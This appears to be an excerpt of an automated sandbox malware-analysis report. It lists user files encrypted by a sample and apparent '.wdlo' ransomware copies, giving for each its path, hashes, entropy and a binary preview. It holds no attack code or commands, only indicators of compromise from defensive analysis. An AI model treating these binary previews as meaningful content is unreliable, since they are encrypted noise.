Preview:	NVWZA@.C:.<...X.Y.vL.....KQ..Jk...Rf. ..q.~....i.@.n.:\|i......a....Z..!.p...I........^) ..Y..'[.....T:.g..u....Ic..1T....1..cbx....@]..,;..X.p.d..g.1..t.V.^.)%.^qs......:........./..$........G.H.K.h-H....e..T.^...Uy.TS;".>H...S....<..e......!....qeG.1."k0..\|HI.q...0.k....f..+.M....w...M.....P..P.%.O:;,.z..............H.l...Ke.Y..vTA..t.7...$\|...7....U.A...t.A.)....5.N..A.."w..q.....F..5x.)t...........H......W..K.!..O.......F.?.egQ.2.-G....9.f4..d.6(..>.)..h..6..f.y...b.Po.P!..N.g..y....s/^..C.............BT.(..9..1]......p..0.....L...M..4G:mZ...Z)........}\82....h..i....$^.f--Q....g...\.X...y..PT.....>.J"..[E....D..(.r.Pc...6....4.[...2..GKE...../....Y.((=.4.#4w.\.&..n....8..6.....2V....F.. g..0(...x#.Q..X....T..n........Pj..N .f.....>......l<.l...mg..\.tLW..>W K_&Y......!.#-..."..O...,.K.&..u..."2..#..........].6W.y.UvD..7~..".4......{.<K<l......U..L1S.al....\|...5*.d.V......xK...'s..akHw^v..4I....4l?."&...Z....Gk#..AH.F%....i.5

C:\Users\user\Desktop\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848836606565566
Encrypted:	false
SSDEEP:	24:4SSoYqX+npmnreEXLjtk82rhq/fd7ajoQWhgvANsg6H1LkCh9MLaZTrZhoUYXpKT:go1upQyEXLjWCfUo5huH1LRxkUYXQ3nD
MD5:	299B2C934070000FAB6F588C86D9D623
SHA1:	CA29C6283E4E403FE6ED6FFE14E9C49B3D1D2502
SHA-256:	BFB5173F2C5D516DE7F6B697B41CE1BCCD9BF1457391A8778E7DB3AD188FB1AA
SHA-512:	1A118CB2397C1FD5F352E56755004E7C99F3AC1E7EBF950BFFE57F511E1273A4CFF0DB251B4859C1AD17094907EDDB1266A699C25479324EE97B519F931EB005
Malicious:	true
Preview:	NWCXB....0........>]...f;z.7.i..Y=n.O....C9L..g.....#..."<.}y..[....KT.K.;........^.....&..Z..w.!6...^......d..I..;\|..-2.%%...#...PJ.=.....8Wf.@pR0^Cb.uS....G.[..<Z.4..?.)FQ.KEY..l..bU....R.....8...N=u.7<..4....@C...'.........S......E..2...V..`.X..C...........m..'.s>.35....U..S.DdS...i\.Z..w4..L...'.$....B......6.~G.r."`..c.5..+.......5...G...c.....x.!<+.,.=!u.DD2.]..~...qeM{....{....0z..vK\F....0L......1.[.v~....d....$..2w77....`ilYw.?#..Mw.1.........F......h...J\.t...>...?.:J.k.3.i..(...-....,....x.O>F\.f....@1....r..R..:..`.E..n5..cTR.{.?..KFL.....2N..i.....A"lt{.K=........,...A.J..._=G<.<!...Q..r.....F.fk.e.Ik...&..b..i.3.F.L.$....pY.Q.%cS.i...!TZ.p.i....A....y......A<N.....5..#0.E....Ti\|.l.&L...g6p....$Z.c.C..:(.r.o6.p..X..1.......H..Y.F..u[....zwJw$.>..-.V......W.#.....w...&.........X._..2.m..h.....{....:2.....1...q.....(.........{...)Z...9.\|.=......dWy....*..@..z^.w{Rr.3g...=.......c..%2DO.[..F....h.Xb.a.v#.).y.........z`.J.d3...l..p.):.

C:\Users\user\Desktop\NWCXBPIUYI.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848836606565566
Encrypted:	false
SSDEEP:	24:4SSoYqX+npmnreEXLjtk82rhq/fd7ajoQWhgvANsg6H1LkCh9MLaZTrZhoUYXpKT:go1upQyEXLjWCfUo5huH1LRxkUYXQ3nD
MD5:	299B2C934070000FAB6F588C86D9D623
SHA1:	CA29C6283E4E403FE6ED6FFE14E9C49B3D1D2502
SHA-256:	BFB5173F2C5D516DE7F6B697B41CE1BCCD9BF1457391A8778E7DB3AD188FB1AA
SHA-512:	1A118CB2397C1FD5F352E56755004E7C99F3AC1E7EBF950BFFE57F511E1273A4CFF0DB251B4859C1AD17094907EDDB1266A699C25479324EE97B519F931EB005
Malicious:	false
Preview:	NWCXB....0........>]...f;z.7.i..Y=n.O....C9L..g.....#..."<.}y..[....KT.K.;........^.....&..Z..w.!6...^......d..I..;\|..-2.%%...#...PJ.=.....8Wf.@pR0^Cb.uS....G.[..<Z.4..?.)FQ.KEY..l..bU....R.....8...N=u.7<..4....@C...'.........S......E..2...V..`.X..C...........m..'.s>.35....U..S.DdS...i\.Z..w4..L...'.$....B......6.~G.r."`..c.5..+.......5...G...c.....x.!<+.,.=!u.DD2.]..~...qeM{....{....0z..vK\F....0L......1.[.v~....d....$..2w77....`ilYw.?#..Mw.1.........F......h...J\.t...>...?.:J.k.3.i..(...-....,....x.O>F\.f....@1....r..R..:..`.E..n5..cTR.{.?..KFL.....2N..i.....A"lt{.K=........,...A.J..._=G<.<!...Q..r.....F.fk.e.Ik...&..b..i.3.F.L.$....pY.Q.%cS.i...!TZ.p.i....A....y......A<N.....5..#0.E....Ti\|.l.&L...g6p....$Z.c.C..:(.r.o6.p..X..1.......H..Y.F..u[....zwJw$.>..-.V......W.#.....w...&.........X._..2.m..h.....{....:2.....1...q.....(.........{...)Z...9.\|.=......dWy....*..@..z^.w{Rr.3g...=.......c..%2DO.[..F....h.Xb.a.v#.).y.........z`.J.d3...l..p.):.

C:\Users\user\Desktop\NYMMPCEIMA.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860942152261838
Encrypted:	false
SSDEEP:	24:pi3rIgkaF26tUnlF2qR1AQRoCxKN72Gwtz54I07NmrMh5KNrSqS13zbD:M7Igk+tUlF2qr9ooispEN6Mh6M3nD
MD5:	EEFC4282188891E0A65972DA695DC8B2
SHA1:	AE8DC8B30DABF6184A92FCA5A6204EE47F46A74A
SHA-256:	D31FE6B4F7605EB41567C900C2E03A57A9C179DFA6B0CED65CEA067573D5C154
SHA-512:	FF7AA82C09C6222FA00E6F45586FB93ADDF66E1004D85FB81395D844EF6721275790CE692C7D11B4DC575E24D0EFF7D4650896EAF288594E2740D7D50C2FB934
Malicious:	false
Preview:	NYMMP.F:F.K.?} .......Z3\|.;...0.dLU.:.A.Q....#doAN..a{.O....P.49O.@s.kT....."aS......z..[.bx..Lc... [^.#.-G.n...3,..9....t......5.....s.-s>."Y..@...._Y.s&.zJ...wT..l......U.).,.....}f..C....r...y...5.k...mr{.?.'....H6.p..`..\|9E..c....w1.[h..:O..y.8.P..s..L..4_..(...V..7.y.:@N..Ti...i.Q..$l.A.l..j..@.K..t....$....{..A4BVH..U..9......?Y..<...kK.w.'X.^.5..O.V.`.b..O...Z+~Ehs....C..'.8.Rr.Y.{....]\|uv%?.f...c..,.=$/s+Vz...r.....W7 X..:......I.mL..'8.H....W....Uk...._....Tw.......Y..j.`f.9sn...k':.ho. .G.....tY..].....R.aOhR~....;..]F...t.....,.t.N/l.....T8.Vk..ev.O.....x....Pg.$p. .......F#....1x....H.N>k..... .{2B.e.q..`..p\O......._h....?`.\.ER..1lU`g;..X.Yi....7....83.CA)...)9.8]...>e...G.I..0..(.!=T.:.;..h....y...x.)u..;.e.{......j...Ki.,).l_o6x",K...I.V..2..rD.R5.S.VOZv.7<.c~.....mB,'IGx@..A.=...2......Oe..c.p.8..t.GMp..c\|.....eH....hO......G..\^Nw........c.jwW>..E.c=... n1.i.I`......SH.0;p.;....G.1..Xn.h_..K....2P.J`.o...8...

C:\Users\user\Desktop\NYMMPCEIMA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860942152261838
Encrypted:	false
SSDEEP:	24:pi3rIgkaF26tUnlF2qR1AQRoCxKN72Gwtz54I07NmrMh5KNrSqS13zbD:M7Igk+tUlF2qr9ooispEN6Mh6M3nD
MD5:	EEFC4282188891E0A65972DA695DC8B2
SHA1:	AE8DC8B30DABF6184A92FCA5A6204EE47F46A74A
SHA-256:	D31FE6B4F7605EB41567C900C2E03A57A9C179DFA6B0CED65CEA067573D5C154
SHA-512:	FF7AA82C09C6222FA00E6F45586FB93ADDF66E1004D85FB81395D844EF6721275790CE692C7D11B4DC575E24D0EFF7D4650896EAF288594E2740D7D50C2FB934
Malicious:	false
Preview:	NYMMP.F:F.K.?} .......Z3\|.;...0.dLU.:.A.Q....#doAN..a{.O....P.49O.@s.kT....."aS......z..[.bx..Lc... [^.#.-G.n...3,..9....t......5.....s.-s>."Y..@...._Y.s&.zJ...wT..l......U.).,.....}f..C....r...y...5.k...mr{.?.'....H6.p..`..\|9E..c....w1.[h..:O..y.8.P..s..L..4_..(...V..7.y.:@N..Ti...i.Q..$l.A.l..j..@.K..t....$....{..A4BVH..U..9......?Y..<...kK.w.'X.^.5..O.V.`.b..O...Z+~Ehs....C..'.8.Rr.Y.{....]\|uv%?.f...c..,.=$/s+Vz...r.....W7 X..:......I.mL..'8.H....W....Uk...._....Tw.......Y..j.`f.9sn...k':.ho. .G.....tY..].....R.aOhR~....;..]F...t.....,.t.N/l.....T8.Vk..ev.O.....x....Pg.$p. .......F#....1x....H.N>k..... .{2B.e.q..`..p\O......._h....?`.\.ER..1lU`g;..X.Yi....7....83.CA)...)9.8]...>e...G.I..0..(.!=T.:.;..h....y...x.)u..;.e.{......j...Ki.,).l_o6x",K...I.V..2..rD.R5.S.VOZv.7<.c~.....mB,'IGx@..A.=...2......Oe..c.p.8..t.GMp..c\|.....eH....hO......G..\^Nw........c.jwW>..E.c=... n1.i.I`......SH.0;p.;....G.1..Xn.h_..K....2P.J`.o...8...

C:\Users\user\Desktop\PALRGUCVEH.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856255122523126
Encrypted:	false
SSDEEP:	24:QEu4D5KJCNsFEqN9USp7tkqZh3QZAaG4BoukwQt7WdWm3zbD:ja0smqrvphRrMAaGkouw7fm3nD
MD5:	8332AF589E791A2D5EBA66E0740060E3
SHA1:	23C57EC5A6BD9FDED4F8FAF81906E6636F29C46E
SHA-256:	A64E344E7087B6E7CBBC4D2A9E038011D322DA78DC2031C8177FB8F7AF652027
SHA-512:	3F4BBE33AC31CD34BDDCAE2FB3A7AEAD7BA42AD21951C355CD7B68B8BA05A464BA2B6C06C624429F2EF578D32A311CA88DC7D2E4775625B85BA5AEE3EC4B9068
Malicious:	false
Preview:	PALRGp....?...G...........U}...0...V.e.-+....}....M...y.....@.....w".,.._.j.-;..m.n..".3...q..w..vL1.5..[.p...e....6...V...3.{^.W,MQ.6!....T1Z.WGX.$8..f.iM......hh.14."...=5(I..1........X...._..n....0.U.z.....O..?A)R.T.x..O5..f.O..Al..<E.....;..O7Oz.....,.o...o....MD..,q...........kX......Ry.yJ0....<9z.M.B......g...o.....r\|m.s.\...\j%..FP?....a.......e4'....1.dWWXj..R;.(.F..:...y..-.v..)..'.@{.+[o.R.p.k$uY....h......B.).I$A4....qM.....f.&.?.....-[.[....&..D..........2.w[{........l.E.H........,.)............BK.E_:.9..f.2...\...$N.o..jM.+.`...E.v..VxP.....f].<.[X{d....-.U..M`....I;`YnIgEWC.!.;....'n\..L....F.}..a....#.l.m...R.tnf.X...CY..fk....@...'.t.xI........a!.Q.#..Y./.=x..w\|.xhq.M..v..q..sTHS.+a..Q....$.....Lv..X$sO...I.f..0.B.(.....L"2%T....7i..L2.....[..kJ....X.Lf+gfS)..?B....RUW.k.].$.4..z.g+A;.V.R(...SZ~j.{...!..,.. .....\|[....5p1-..wv.....E.C...~u.tdF..L....<*.....7..g/..o.:.s.V.P..4.M.M....L.......t}....Wb.1.WC.I]Z..h..B8u.....k

C:\Users\user\Desktop\PALRGUCVEH.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856255122523126
Encrypted:	false
SSDEEP:	24:QEu4D5KJCNsFEqN9USp7tkqZh3QZAaG4BoukwQt7WdWm3zbD:ja0smqrvphRrMAaGkouw7fm3nD
MD5:	8332AF589E791A2D5EBA66E0740060E3
SHA1:	23C57EC5A6BD9FDED4F8FAF81906E6636F29C46E
SHA-256:	A64E344E7087B6E7CBBC4D2A9E038011D322DA78DC2031C8177FB8F7AF652027
SHA-512:	3F4BBE33AC31CD34BDDCAE2FB3A7AEAD7BA42AD21951C355CD7B68B8BA05A464BA2B6C06C624429F2EF578D32A311CA88DC7D2E4775625B85BA5AEE3EC4B9068
Malicious:	false
Preview:	PALRGp....?...G...........U}...0...V.e.-+....}....M...y.....@.....w".,.._.j.-;..m.n..".3...q..w..vL1.5..[.p...e....6...V...3.{^.W,MQ.6!....T1Z.WGX.$8..f.iM......hh.14."...=5(I..1........X...._..n....0.U.z.....O..?A)R.T.x..O5..f.O..Al..<E.....;..O7Oz.....,.o...o....MD..,q...........kX......Ry.yJ0....<9z.M.B......g...o.....r\|m.s.\...\j%..FP?....a.......e4'....1.dWWXj..R;.(.F..:...y..-.v..)..'.@{.+[o.R.p.k$uY....h......B.).I$A4....qM.....f.&.?.....-[.[....&..D..........2.w[{........l.E.H........,.)............BK.E_:.9..f.2...\...$N.o..jM.+.`...E.v..VxP.....f].<.[X{d....-.U..M`....I;`YnIgEWC.!.;....'n\..L....F.}..a....#.l.m...R.tnf.X...CY..fk....@...'.t.xI........a!.Q.#..Y./.=x..w\|.xhq.M..v..q..sTHS.+a..Q....$.....Lv..X$sO...I.f..0.B.(.....L"2%T....7i..L2.....[..kJ....X.Lf+gfS)..?B....RUW.k.].$.4..z.g+A;.V.R(...SZ~j.{...!..,.. .....\|[....5p1-..wv.....E.C...~u.tdF..L....<*.....7..g/..o.:.s.V.P..4.M.M....L.......t}....Wb.1.WC.I]Z..h..B8u.....k

C:\Users\user\Desktop\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830725904266747
Encrypted:	false
SSDEEP:	24:V1dXJuKszSqAh3haZ2pPXTN2tqeZoxLc3cP7Fq8z4KHfxxVs0L6Xolvq8g/Ir2DT:V1dXpjN2kc6En2N/K0Yolvq8g/Z3nD
MD5:	CBCCFEC1B99FCFB8D8C340C88766EF70
SHA1:	0D78EEEA7562645F8E98EC6A380A551DA2C864FC
SHA-256:	296C66F0634964D00691B3503C543F587D8E0526436F776B2A9288F8E8276875
SHA-512:	166F9DF15D53F9D39A268068BB609F57CFA61F90370D6FCFC46AD11B8C04767DE543E966F9FED2F1AE22D856EDDF5AA3C339CF92418865177993604026C92C3B
Malicious:	false
Preview:	PALRG.E..Qg`....8...zY0p=8.'..$"...[..q;...;: /.......\A.S.Q..."#...,vW._Ac....20?.3.M.@#....g=...Q'.......7'........H..Y9...G.....f.i.......>:}\...Rx......t..m.....t.T8...t.....W.yS.}.-L..@...+....3A.^./..0../..f9.m..A.JG;..O\|..I..D..j.oq........K..v....T6y...<^3F..U..}.`0/..lvf.n#...O.....J.@: :}.\>...pE=M3....1.PZ(r.K..Y..zQ..A.'..KYz.......Cc.7.FP`..-.F.....u.....;...F...^C..}.....v.OOa.B..M."H.U...f..^5...2..K7....."{l+..\|h...6.....U.J..$.z..G..O1...2q.wV......8.B.....?......g..M..V..[Hc...v.y...O...5.....K.U~,......T...0x.g.#...Q...Lg{i...CK.`.J..u+..+}.?..=...M..:....N.9....j...'..6... ....G.....f\|.?u...;...M.S...3.yN3.~f......}.2b...&.y.......u..D.B.d-iwr......P+.%...\|.Y."W....+...3..."...\.s....FT....R........J..P....Ht..KQ....\.`..h.VO<...b/~m2g....J(.7 >.....M.....j*oO...\|?@.f..je....Vy........3.P.3..)I7...R.5..4Z......m..i^..{L.sI..?...+a}.<.-....S...M.A..y......#...h..,?\|F3.......L..&.......$.%.%....-.FK.l#.n

C:\Users\user\Desktop\PALRGUCVEH.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830725904266747
Encrypted:	false
SSDEEP:	24:V1dXJuKszSqAh3haZ2pPXTN2tqeZoxLc3cP7Fq8z4KHfxxVs0L6Xolvq8g/Ir2DT:V1dXpjN2kc6En2N/K0Yolvq8g/Z3nD
MD5:	CBCCFEC1B99FCFB8D8C340C88766EF70
SHA1:	0D78EEEA7562645F8E98EC6A380A551DA2C864FC
SHA-256:	296C66F0634964D00691B3503C543F587D8E0526436F776B2A9288F8E8276875
SHA-512:	166F9DF15D53F9D39A268068BB609F57CFA61F90370D6FCFC46AD11B8C04767DE543E966F9FED2F1AE22D856EDDF5AA3C339CF92418865177993604026C92C3B
Malicious:	false
Preview:	PALRG.E..Qg`....8...zY0p=8.'..$"...[..q;...;: /.......\A.S.Q..."#...,vW._Ac....20?.3.M.@#....g=...Q'.......7'........H..Y9...G.....f.i.......>:}\...Rx......t..m.....t.T8...t.....W.yS.}.-L..@...+....3A.^./..0../..f9.m..A.JG;..O\|..I..D..j.oq........K..v....T6y...<^3F..U..}.`0/..lvf.n#...O.....J.@: :}.\>...pE=M3....1.PZ(r.K..Y..zQ..A.'..KYz.......Cc.7.FP`..-.F.....u.....;...F...^C..}.....v.OOa.B..M."H.U...f..^5...2..K7....."{l+..\|h...6.....U.J..$.z..G..O1...2q.wV......8.B.....?......g..M..V..[Hc...v.y...O...5.....K.U~,......T...0x.g.#...Q...Lg{i...CK.`.J..u+..+}.?..=...M..:....N.9....j...'..6... ....G.....f\|.?u...;...M.S...3.yN3.~f......}.2b...&.y.......u..D.B.d-iwr......P+.%...\|.Y."W....+...3..."...\.s....FT....R........J..P....Ht..KQ....\.`..h.VO<...b/~m2g....J(.7 >.....M.....j*oO...\|?@.f..je....Vy........3.P.3..)I7...R.5..4Z......m..i^..{L.sI..?...+a}.<.-....S...M.A..y......#...h..,?\|F3.......L..&.......$.%.%....-.FK.l#.n

C:\Users\user\Desktop\QCOILOQIKC.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864504117426549
Encrypted:	false
SSDEEP:	24:G8cLNLPq65tajUCcZp/Ts6kbnxix39J6/1TWHeN98CXXaAY3zbD:GLtPqhjUCcZCXnxinHeIWaJ3nD
MD5:	47177273B78DF7AC4B307A216FD2C404
SHA1:	79859175CF96B2F9CBE44B78B19F95B197F398FB
SHA-256:	A90181E8D5AD123C0BFD2DA19ED09E169F4ED08E3620A58BB5AB4E3A399DEE7A
SHA-512:	58DF3C2E1FC8E9BB842C4B9D87DF691CAE3AEA9D606D796403B26B9EE725B81EB3CEC973AE95D298C60F91A575D8E73EAE3DDA32B7B9DE555A78FD1D2C2A9E31
Malicious:	false
Preview:	QCOIL...-..?..pz.Z............../...l.0.".c.w.....A.o.O4..\|.x..[61"EI...s.w.b..k..._..O....R..@m.e.;YG.?S...`W..L.1.XD..:4...%........_.2.Q.^X.(..l(A. .&....L..E.A..^..l..aG.&W.....Q^..Pq ...3o.B..2.`+.;.......Y.l.a.)H...Gq91.&./.....Kx.....2...X..,....y.....A..`......c...i.T<;..}.f..f..b..a..+..z.j.[...k..H.....~UV.....Y7....]...........E..#-...._...s..[...7....bl.9..aR..A.N...Vcdy...k.+5.U^..L...F.km'.`9......6!W5...(.........J.nA<..1'..18!b..-`d......_.m.qY...}.X.5J..........t+.....{.a..H.4..J...7.PTO.....!.#?....AvDe.....N..xi\|.k...H...^....,...7.t..6..V..y.f-&.z$&..M7.n.Rz+.P.J.9.&... .N..'.Z.%.o.]....".l.Fe1...Y$.a.]...f..x!..q}.....jE.[{.......1...r....e.$.%:....O.DB.j..fi9.z.!L....._.ff.z.~v.....}...,Z..k"......v?/....MWE..;........ej..jZ=3...Z...D.........vN...y.D....%..d.$..W..}.0.'K.w.+.].o:..E.....Z2(P=p^ .....'...}.....v...TN....z}..1T..E.....s4..Q.w.Y..d..P.s.Y.TkBHk-.0%.y#.'.Q...3E...C..gG....p?....^t.3S.%....YcXe..W..O.W..r

C:\Users\user\Desktop\QCOILOQIKC.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864504117426549
Encrypted:	false
SSDEEP:	24:G8cLNLPq65tajUCcZp/Ts6kbnxix39J6/1TWHeN98CXXaAY3zbD:GLtPqhjUCcZCXnxinHeIWaJ3nD
MD5:	47177273B78DF7AC4B307A216FD2C404
SHA1:	79859175CF96B2F9CBE44B78B19F95B197F398FB
SHA-256:	A90181E8D5AD123C0BFD2DA19ED09E169F4ED08E3620A58BB5AB4E3A399DEE7A
SHA-512:	58DF3C2E1FC8E9BB842C4B9D87DF691CAE3AEA9D606D796403B26B9EE725B81EB3CEC973AE95D298C60F91A575D8E73EAE3DDA32B7B9DE555A78FD1D2C2A9E31
Malicious:	false
Preview:	QCOIL...-..?..pz.Z............../...l.0.".c.w.....A.o.O4..\|.x..[61"EI...s.w.b..k..._..O....R..@m.e.;YG.?S...`W..L.1.XD..:4...%........_.2.Q.^X.(..l(A. .&....L..E.A..^..l..aG.&W.....Q^..Pq ...3o.B..2.`+.;.......Y.l.a.)H...Gq91.&./.....Kx.....2...X..,....y.....A..`......c...i.T<;..}.f..f..b..a..+..z.j.[...k..H.....~UV.....Y7....]...........E..#-...._...s..[...7....bl.9..aR..A.N...Vcdy...k.+5.U^..L...F.km'.`9......6!W5...(.........J.nA<..1'..18!b..-`d......_.m.qY...}.X.5J..........t+.....{.a..H.4..J...7.PTO.....!.#?....AvDe.....N..xi\|.k...H...^....,...7.t..6..V..y.f-&.z$&..M7.n.Rz+.P.J.9.&... .N..'.Z.%.o.]....".l.Fe1...Y$.a.]...f..x!..q}.....jE.[{.......1...r....e.$.%:....O.DB.j..fi9.z.!L....._.ff.z.~v.....}...,Z..k"......v?/....MWE..;........ej..jZ=3...Z...D.........vN...y.D....%..d.$..W..}.0.'K.w.+.].o:..E.....Z2(P=p^ .....'...}.....v...TN....z}..1T..E.....s4..Q.w.Y..d..P.s.Y.TkBHk-.0%.y#.'.Q...3E...C..gG....p?....^t.3S.%....YcXe..W..O.W..r

C:\Users\user\Desktop\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846634698856068
Encrypted:	false
SSDEEP:	24:OfD/TDkrqsWXGrp0h4G6FYOWYa3ErpI2GWVkMUagltVXH/AXF3zbD:cD3sWXGrSBNP0rKyklagltVy3nD
MD5:	DE9250DAB1F8959584968DDE4E9DDCD6
SHA1:	66707D5D03E3EEC8AE823EF524F3A89331C31C67
SHA-256:	75796B8840F9ABE61F313787EE5F26EC53A0AF678C5E26CDE7D9606D68347696
SHA-512:	44AA4707C94A1468F4EFCBE829969236A449EA1D67958A337D37A0E822DCCE5F610A5719832EDC028D944597EF1CDADD0019DD7DDB4B9A6712AED7A997339881
Malicious:	false
Preview:	ZGGKN'KC.P......%..e..V.....7..4n..m.Q..(.j..w.r..xo.zg.rtvW%"m)..k._.eZ_..a.....{....S...Y...'-A.9.N.k\.~...:.....r-N......N..z..f.....=...C.m... Y...eV.g:.<.....![.F$...........y4........}..=...6.....)/..........'..^...~...{....J....qbj......."s>..1..I...B.Oo...MO.^.E.UT.`.i.....F...@.8..3....MH.`.I.9.Fy<r...+...\|4~..>.......G.2.B.K.....f./p....`#.0{..n43/y.....W.2.X..N\-........M....V.H..VV......../..Of..9.rt.z.&.4zX..../4w'..v.p.].Ca]bg.. i.....5.4....^.v.7.........gn,m....G.. .0Tr..74.q>..RT.....&...l.....:..{~9.h..l.@.e.4.........[......g....+e.3tT/.x1&w..D..(#9Ts=>J.~.&..]..0......$...sf.V..!/.r...7k.:...E.....va`....BQr.Y..S...v.7...Z..4..1...$#7<..>.`.J.Q0....`.$p}...n..F..n^..+[W.'#......0..]..T.....R@.....Ff.P..t.^...v.^.........dJ.+q$..1)h,A...T.e....H../.=..%V..(.Q...5.2J`..05:..1.s.......1...E.......^y..E].it.BI...\..x9..D.....$...,Ka.5.i#...:..%bm.}.V..Vb]%..'t..)/..b.U4T.....]t.iQ....C................iJ{..)...

C:\Users\user\Desktop\ZGGKNSUKOP.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846634698856068
Encrypted:	false
SSDEEP:	24:OfD/TDkrqsWXGrp0h4G6FYOWYa3ErpI2GWVkMUagltVXH/AXF3zbD:cD3sWXGrSBNP0rKyklagltVy3nD
MD5:	DE9250DAB1F8959584968DDE4E9DDCD6
SHA1:	66707D5D03E3EEC8AE823EF524F3A89331C31C67
SHA-256:	75796B8840F9ABE61F313787EE5F26EC53A0AF678C5E26CDE7D9606D68347696
SHA-512:	44AA4707C94A1468F4EFCBE829969236A449EA1D67958A337D37A0E822DCCE5F610A5719832EDC028D944597EF1CDADD0019DD7DDB4B9A6712AED7A997339881
Malicious:	false
Preview:	ZGGKN'KC.P......%..e..V.....7..4n..m.Q..(.j..w.r..xo.zg.rtvW%"m)..k._.eZ_..a.....{....S...Y...'-A.9.N.k\.~...:.....r-N......N..z..f.....=...C.m... Y...eV.g:.<.....![.F$...........y4........}..=...6.....)/..........'..^...~...{....J....qbj......."s>..1..I...B.Oo...MO.^.E.UT.`.i.....F...@.8..3....MH.`.I.9.Fy<r...+...\|4~..>.......G.2.B.K.....f./p....`#.0{..n43/y.....W.2.X..N\-........M....V.H..VV......../..Of..9.rt.z.&.4zX..../4w'..v.p.].Ca]bg.. i.....5.4....^.v.7.........gn,m....G.. .0Tr..74.q>..RT.....&...l.....:..{~9.h..l.@.e.4.........[......g....+e.3tT/.x1&w..D..(#9Ts=>J.~.&..]..0......$...sf.V..!/.r...7k.:...E.....va`....BQr.Y..S...v.7...Z..4..1...$#7<..>.`.J.Q0....`.$p}...n..F..n^..+[W.'#......0..]..T.....R@.....Ff.P..t.^...v.^.........dJ.+q$..1)h,A...T.e....H../.=..%V..(.Q...5.2J`..05:..1.s.......1...E.......^y..E].it.BI...\..x9..D.....$...,Ka.5.i#...:..%bm.}.V..Vb]%..'t..)/..b.U4T.....]t.iQ....C................iJ{..)...

C:\Users\user\Desktop\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861478621856574
Encrypted:	false
SSDEEP:	24:zSTF99QGfLPT1o25n4SQzJ8KJw7KRtLI3PtaJVqmQ7MjuCikfwKxwG3zbD:zUZQCLdxKa7KRy3PtS4/Meaf3nD
MD5:	984646E150D615C219D942ECD9A680C0
SHA1:	B3C84EAAD5B53C961F9C77E25C91555ED9854E10
SHA-256:	606452D0B2BFE0CA72F3A59C3FB3C2415AED3AF7515930A95487D3CA32C71DA5
SHA-512:	EBC044FBFD415D4E6DD7A8C4B3E7672D111B28FC54A2A17DC714F5F2E263D2CC904751485E874E209B1DC0A4035A1A45601919C4F4607D43C37EB1013002BE30
Malicious:	true
Preview:	ZGGKN.t2.t./..P..\)k.Y...<.\..Bg(...)w...# .7.a.....&.._..s../_......+,.{..V&....7..]....c...Gg...Y.......q...~..0..y..Mn.?rG.0Au./t..~.6....f<,.....J.s...a.....B.M..~3.%<cu)...."UV!P>..O$.N../.\|...f.a...[...>..+.3v...t9oN......[$.z.i...Q.F....=.rC....8B....v..P.Q.z.5A>..O...:..;.....\......s....'.2.l...b;.e..P.m..^......s.....$@........_.t..0.A.Yn@./... ...H...5...B..z......O....^..fF.....xr..N.=m.z..X..h..0.y..4.O.ET..u.\|.i$&TJ.t^>...\|..........JGlQ..r..2A...,...-_&.7....6T.w....6.b.{..8...g1c...[r...F\|.=....ge\|H.+._.....H^..b.{.T...yP...Y.Y .u7k.,D....q.......O}(.O}}..&,.'_,/....~m.J}..5..U...\............p.,L>......(..x`....Sb,....>.6..IO.....u.g.ow@<.....<. ....zp...}2..8}..=..:-.a.wN} 